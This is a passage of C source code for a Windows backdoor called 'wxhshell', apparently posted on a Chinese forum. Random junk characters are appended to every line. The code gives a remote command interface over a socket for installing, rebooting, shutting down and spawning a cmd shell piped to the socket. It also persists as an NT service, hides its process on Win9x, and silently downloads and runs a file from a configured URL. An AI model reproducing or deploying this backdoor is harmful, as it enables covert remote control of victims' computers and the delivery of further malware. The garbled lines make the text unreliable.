      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zL=I-fVq  
    break; I(eR3d:  
  } 1>*<K/\qg  
  // 安装 &?6 ~v  
  case 'i': { S 2` ;7  
    if(Install()) 7 @Qlp$[F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l`G:@}P>G  
    else -x5bdC(d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^hTJp{  
    break; YXOD fd%L  
    } B#lj8I^|  
  // 卸载 DD3yl\#,  
  case 'r': { )%W2XvG  
    if(Uninstall()) 8U$UI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jWjK-q@Y  
    else }|,\ ?7,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \YyU5f7';  
    break; %=>xzP(z  
    } U-:Z ^+Y  
  // 显示 wxhshell 所在路径 YS6az0ie  
  case 'p': { PhL5EYn  
    char svExeFile[MAX_PATH]; 2]KPW*V  
    strcpy(svExeFile,"\n\r"); y(g Otg  
      strcat(svExeFile,ExeFile); -Q8`p  
        send(wsh,svExeFile,strlen(svExeFile),0); ))zaL2UP.  
    break; un%"s:  
    } [aUT #  
  // 重启 T7X2$ '  
  case 'b': { u01^ABn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jYx(  
    if(Boot(REBOOT)) /R?uxhV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :H k4i%hGk  
    else { 2Nzcej  
    closesocket(wsh); \M^4DdAy  
    ExitThread(0); M& L0n%,y5  
    } MH(g<4>*  
    break; Y& %0 eI!  
    } SQvB)NOw  
  // 关机 EnAw8Gm*  
  case 'd': { qWK7K%-$ E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a];i4lt(c  
    if(Boot(SHUTDOWN)) ,RH986,6V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 i\[Q8f  
    else { zL}DLfy>R  
    closesocket(wsh); uU"s50m  
    ExitThread(0); V,,iKr@TG  
    } p{GDW_  
    break; AE~}^(G`  
    } B*Xh$R  
  // 获取shell QR8 Q10  
  case 's': { !y0 O['7  
    CmdShell(wsh); b8Sl3F?-~  
    closesocket(wsh); u>@G:kt8  
    ExitThread(0); %gB0D8,vo  
    break; LZ$!=vg4  
  } Qk?Jy<Ra  
  // 退出 =v;@w$#  
  case 'x': { XAkl,Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3mpjSL  
    CloseIt(wsh); _3JTHf<+  
    break; W{2y*yqY  
    } .w"O/6."  
  // 离开 M6n.uho/  
  case 'q': { DSa92:M}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z 0^d o  
    closesocket(wsh); >eI(M $  
    WSACleanup(); epe}^Pl  
    exit(1); Q4 S8NqE  
    break; JE!Xf}nEi  
        } ~<-h# B  
  } SJe;T  
  } Nzt1JHRS  
;bmd<1  
  // 提示信息 Ml ^Tb#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w Nnb@  
} o$;x[US  
  } 6jA Q  
4Yk (ldR~  
  return; OC.@C}u  
} 1NJ|%+I  
'JVvL  
// shell模块句柄 jeNEC&J  
int CmdShell(SOCKET sock) Er`PYE J  
{ gE#,QOy  
STARTUPINFO si;  }2"k:-g  
ZeroMemory(&si,sizeof(si)); nIT=/{oyi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *O2j<3CHf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uLht;-`{n  
PROCESS_INFORMATION ProcessInfo; ;anG F0x  
char cmdline[]="cmd"; A5\S0l$Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kdq55zTc<6  
  return 0; iddT.   
} -0Ek&"=Z^  
nXjUTSGa)  
// 自身启动模式 4B 6Aw?  
int StartFromService(void) ce\-oT  
{ c{q`uI;O  
typedef struct Ek6W:Q:@  
{ ~heF0C_  
  DWORD ExitStatus; ~1oD7=WN  
  DWORD PebBaseAddress; sa($3`d  
  DWORD AffinityMask; R _%pR_\  
  DWORD BasePriority; * G4;  
  ULONG UniqueProcessId; J(]nPwm=.-  
  ULONG InheritedFromUniqueProcessId; WfVie6  
}   PROCESS_BASIC_INFORMATION; cE[lB08  
?CC6/bE-{  
PROCNTQSIP NtQueryInformationProcess; %K4-V5f  
pOXEM1"2A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FdD'Hp+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]n_A~Y r  
n1|%xQBU@  
  HANDLE             hProcess; ~cz t=  
  PROCESS_BASIC_INFORMATION pbi; A [JV*Dt  
jn'8F$GU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YH9BJ  
  if(NULL == hInst ) return 0; slbV[xR  
?5D7n"jY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >JhQ=j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6{6tg>|L)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %F7k| Na  
Yp8$0KK  
  if (!NtQueryInformationProcess) return 0; FpEdwzBb<  
ur|2FS7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hI yfF  
  if(!hProcess) return 0; %k~=iDk@  
iDA`pemmi&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /[p4. FL  
?w+T_EH  
  CloseHandle(hProcess); Hs9uDGWp  
f]EHDcC3X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sQkP@Y  
if(hProcess==NULL) return 0; [,c>-jA5  
NTC,Vr\A  
HMODULE hMod; S/4k fsN  
char procName[255]; !PgYn  
unsigned long cbNeeded; f"Z2&Y@  
k`d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wd7*sa3T  
)-mB^7uXGv  
  CloseHandle(hProcess); VC@o]t5  
eP)RP6ON{  
if(strstr(procName,"services")) return 1; // 以服务启动 *QLbrR  
q^s$4q  
  return 0; // 注册表启动 bFpwq#PDW>  
} rr*IIG&.5  
`fH6E8N  
// 主模块 lyyi?/W%  
int StartWxhshell(LPSTR lpCmdLine) cG<?AR?wDT  
{ pd|s7  
  SOCKET wsl; 9Ah4N2nL-b  
BOOL val=TRUE; q#Bdq8  
  int port=0; W<2-Q,>Y  
  struct sockaddr_in door; 5 Z@Q ^  
xn-n{U"  
  if(wscfg.ws_autoins) Install(); @!S5FOXipZ  
)9*WmFc+#  
port=atoi(lpCmdLine); Dbgw )n*2  
0wx`y$~R  
if(port<=0) port=wscfg.ws_port; ;3w W)gL1  
<X: 9y  
  WSADATA data; @'S-nn,sO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $V[ob   
U@9n 7F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]'"$qm:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I*X| pRD  
  door.sin_family = AF_INET; +iXA|L9=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {h2D}F  
  door.sin_port = htons(port); $I_aHhKt  
0j*8|{|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WPPmh~:  
closesocket(wsl); 6s6[sUf=l&  
return 1; qLR)>$  
} JLjx4B\  
sV-9 xh)i  
  if(listen(wsl,2) == INVALID_SOCKET) { LB>!%Vx  
closesocket(wsl); ~ ^K[pA ?  
return 1; \=.iM?T  
} "2 Kh2[K  
  Wxhshell(wsl); _ ZJP]5  
  WSACleanup(); s)}C&T$Y.  
$ED<:[3N  
return 0;  3N;X|pa  
_W$4Qn+f  
} ;lP)  
Ef#%4ky  
// 以NT服务方式启动 C\1Dy5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =!Ok079{[  
{ U5" C"+ 3  
DWORD   status = 0; / JlUqC  
  DWORD   specificError = 0xfffffff; I(C_}I>Wb  
LNe- ]3wB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !dZC-U~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d8av`m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z7NaW e  
  serviceStatus.dwWin32ExitCode     = 0; f7mI\$CN  
  serviceStatus.dwServiceSpecificExitCode = 0; =>4,/g3  
  serviceStatus.dwCheckPoint       = 0; 'peFT[1> (  
  serviceStatus.dwWaitHint       = 0; Yk:\oM   
4\t9(_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); daaurT  
  if (hServiceStatusHandle==0) return; p 5P<3(  
Z(Xu>ap  
status = GetLastError(); 5=l Ava#  
  if (status!=NO_ERROR) [&e}@!8O`  
{ oM J5;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g,\<fY+ 4  
    serviceStatus.dwCheckPoint       = 0; _Nw-|N.  
    serviceStatus.dwWaitHint       = 0; /KH3v!G0  
    serviceStatus.dwWin32ExitCode     = status; syMB~g  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8USF;k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); euQ d  
    return; J3C"W7 94}  
  } -V(5U! ^B  
3HWI;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E: #VS~  
  serviceStatus.dwCheckPoint       = 0; 7,Nd[ oL*7  
  serviceStatus.dwWaitHint       = 0; wF}/7b54  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y;uk|#qnPS  
} w_6h $"^x  
TTS }, `  
// 处理NT服务事件,比如:启动、停止 ?k#-)inf)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =xg pr*   
{ DT;Hr4Z8^"  
switch(fdwControl) ^IY1^x  
{ ._#|h5  
case SERVICE_CONTROL_STOP: p^NYJV  
  serviceStatus.dwWin32ExitCode = 0; UDhW Y.`'~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5X'[{'i,  
  serviceStatus.dwCheckPoint   = 0; #k*e>d$  
  serviceStatus.dwWaitHint     = 0; fZ$8PMZv  
  { F8.Fp[_tM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >AJtoJ=j  
  } 7h,SX]4Q  
  return; %*zgN[/w  
case SERVICE_CONTROL_PAUSE: gFJd8#6t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /&a[D 2  
  break; VcA87*pel  
case SERVICE_CONTROL_CONTINUE: YaDr6)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sky!ZN'I  
  break; Xrc0RWXB8  
case SERVICE_CONTROL_INTERROGATE: 7\<#z|  
  break; c)+IX;q-C  
}; .(`#q@73  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VQ2)qJ#l  
} QXniWJJ  
[.;VCk)0x  
// 标准应用程序主函数 %\2 ll=p1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &K/5AH"q  
{ X^7bOFWE  
zq8LQ4@ay  
// 获取操作系统版本 U8;k6WT|  
OsIsNt=GetOsVer(); C([TolZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >^{}Hjt  
$s5LzJn  
  // 从命令行安装 C&D!TR!K  
  if(strpbrk(lpCmdLine,"iI")) Install(); RKx" }<#+  
YOd 0dKe  
  // 下载执行文件 7jvf:#\LtL  
if(wscfg.ws_downexe) { }]'Z~5T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Quqts(Q)+  
  WinExec(wscfg.ws_filenam,SW_HIDE); C5$1K'X@  
} i.C+{QH  
"o+< \B~  
if(!OsIsNt) { I5 "Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 9m/v^  
HideProc(); p$0G EYwM  
StartWxhshell(lpCmdLine);  (0bvd  
} amK"Z<V F  
else TkM8GK-3  
  if(StartFromService()) GFB(c  
  // 以服务方式启动 :D""c*  
  StartServiceCtrlDispatcher(DispatchTable); i]JD::P_H  
else c=0S]_  
  // 普通方式启动  mR)Xq=  
  StartWxhshell(lpCmdLine); VE`5bD+%e  
Ys|tGU  
return 0; eF823cH2x_  
}
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只看该作者 1 发表于: 2006-10-10
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